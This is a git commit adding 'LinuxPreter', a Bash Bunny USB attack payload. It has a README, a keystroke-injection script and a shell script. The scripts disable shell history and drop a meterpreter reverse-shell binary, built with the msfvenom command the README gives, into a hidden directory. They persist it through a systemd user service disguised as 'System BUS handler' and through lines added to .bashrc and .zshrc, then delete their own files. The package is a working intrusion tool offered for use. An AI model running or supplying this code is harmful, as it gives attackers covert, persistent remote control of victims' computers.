mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
uploaded LinuxPreter
This commit is contained in:
36
payloads/library/remote_access/LinuxPreter/README.md
Normal file
36
payloads/library/remote_access/LinuxPreter/README.md
Normal file
@@ -0,0 +1,36 @@
|
|||||||
|
## About:
|
||||||
|
* Title: LinuxPreter
|
||||||
|
* Description: Injects meterpreter payload and makes it persistent.
|
||||||
|
* AUTHOR: drapl0n
|
||||||
|
* Version: 1.0
|
||||||
|
* Category: Remote Access
|
||||||
|
* Target: Unix-like operating systems with systemd.
|
||||||
|
* Attackmodes: HID, Storage
|
||||||
|
|
||||||
|
## LinuxPreter injects meterpreter payload, make it persistent and triggers payload on launch of terminal/shell.
|
||||||
|
|
||||||
|
### Workflow:
|
||||||
|
* Keeping tracks clear by preventing storage of history.
|
||||||
|
* Fetching BashBunny's block device and mounting it.
|
||||||
|
* Transfering payload script and payload itself.
|
||||||
|
* Deleting scripts from victims machine and unmounting bunny.
|
||||||
|
|
||||||
|
### Create Meterpreter payload:
|
||||||
|
* ```msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP ADDRESS> LPORT=<PORT NO> -f elf -o sysHandle.bin```
|
||||||
|
* NOTE: Only change IP address and Port number in the above command.
|
||||||
|
|
||||||
|
### LED Status:
|
||||||
|
* `SETUP` : MAGENTA
|
||||||
|
* `ATTACK` : YELLOW
|
||||||
|
* `FINISH` : GREEN
|
||||||
|
|
||||||
|
### Directory Structure of payload components:
|
||||||
|
| FileName | Directory |
|
||||||
|
| -------------- | ----------------------------- |
|
||||||
|
| payload.txt | /payload/switch1/ |
|
||||||
|
| payload.sh | /payload/ |
|
||||||
|
| sysHandle.bin | /tools/ |
|
||||||
|
|
||||||
|
|
||||||
|
#### Support me if you like my work:
|
||||||
|
* https://twitter.com/drapl0n
|
||||||
12
payloads/library/remote_access/LinuxPreter/payload.sh
Normal file
12
payloads/library/remote_access/LinuxPreter/payload.sh
Normal file
@@ -0,0 +1,12 @@
|
|||||||
|
lol=$(lsblk | grep 1.8G)
|
||||||
|
disk=$(echo $lol | awk '{print $1}')
|
||||||
|
mntt=$(lsblk | grep $disk | awk '{print $7}')
|
||||||
|
mkdir /var/tmp/.system
|
||||||
|
cp -r $mntt/tools/sysHandle.bin /var/tmp/.system
|
||||||
|
chmod +x /var/tmp/.system/sysHandle.bin
|
||||||
|
mkdir -p ~/.config/systemd/user/
|
||||||
|
systemctl --user start systemPer.service
|
||||||
|
echo -e "[Unit]\nDescription= System BUS handler\n\n[Service]\nExecStart=/var/tmp/.system/./sysHandle.bin -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=multi-user.target" > ~/.config/systemd/user/systemPer.service
|
||||||
|
|
||||||
|
echo -e "ls -a | grep 'zshrc' &> /dev/null\nif [ \$? = 0 ]; then\n\techo \"systemctl --user enable --now systemPer.service \" >> ~/.zshrc\nfi\n\nls -a | grep 'bashrc' &> /dev/null\nif [ \$? = 0 ]; then\n\techo \"systemctl --user enable --now systemPer.service\" >> ~/.bashrc\nfi" > ~/tmmmp
|
||||||
|
chmod +x ~/tmmmp && cd ~/ && ./tmmmp && rm tmmmp && exit
|
||||||
56
payloads/library/remote_access/LinuxPreter/payload.txt
Normal file
56
payloads/library/remote_access/LinuxPreter/payload.txt
Normal file
@@ -0,0 +1,56 @@
|
|||||||
|
# Title: LinuxPreter
|
||||||
|
# Description: Injects meterpreter payload and makes it persistent.
|
||||||
|
# AUTHOR: drapl0n
|
||||||
|
# Version: 1.0
|
||||||
|
# Category: Remote Access
|
||||||
|
# Target: Unix-like operating systems with systemd.
|
||||||
|
# Attackmodes: HID, Storage
|
||||||
|
|
||||||
|
LED SETUP
|
||||||
|
ATTACKMODE STORAGE HID
|
||||||
|
GET SWITCH_POSITION
|
||||||
|
LED ATTACK
|
||||||
|
Q DELAY 1000
|
||||||
|
Q CTRL-ALT t
|
||||||
|
Q DELAY 1000
|
||||||
|
|
||||||
|
# [Prevent storing history]
|
||||||
|
Q STRING unset HISTFILE
|
||||||
|
Q ENTER
|
||||||
|
Q DELAY 200
|
||||||
|
|
||||||
|
# [Fetching BashBunny's block device]
|
||||||
|
Q STRING lol='$(lsblk | grep 1.8G)'
|
||||||
|
Q ENTER
|
||||||
|
Q DELAY 100
|
||||||
|
Q STRING disk='$(echo $lol | awk '\'{print\ '$1'}\'\)''
|
||||||
|
Q ENTER
|
||||||
|
Q DELAY 200
|
||||||
|
|
||||||
|
# [Mounting BashBunny]
|
||||||
|
Q STRING udisksctl mount -b /dev/'$disk' /tmp/tmppp
|
||||||
|
Q ENTER
|
||||||
|
Q DELAY 2000
|
||||||
|
Q STRING mntt='$(lsblk | grep $disk | awk '\'{print\ '$7'}\'\)''
|
||||||
|
Q ENTER
|
||||||
|
Q DELAY 500
|
||||||
|
|
||||||
|
# [transfering payload script]
|
||||||
|
Q STRING cp -r '$mntt'/payloads/payload.sh /tmp/
|
||||||
|
Q ENTER
|
||||||
|
Q STRING chmod +x /tmp/payload.sh
|
||||||
|
Q ENTER
|
||||||
|
Q STRING /tmp/./payload.sh
|
||||||
|
Q ENTER
|
||||||
|
Q DELAY 1000
|
||||||
|
Q STRING rm /tmp/payload.sh
|
||||||
|
Q ENTER
|
||||||
|
Q DELAY 500
|
||||||
|
|
||||||
|
# [Unmounting BashBunny]
|
||||||
|
Q STRING udisksctl unmount -b /dev/'$disk'
|
||||||
|
Q ENTER
|
||||||
|
Q DELAY 500
|
||||||
|
Q STRING exit
|
||||||
|
Q ENTER
|
||||||
|
LED FINISH
|
||||||
Reference in New Issue
Block a user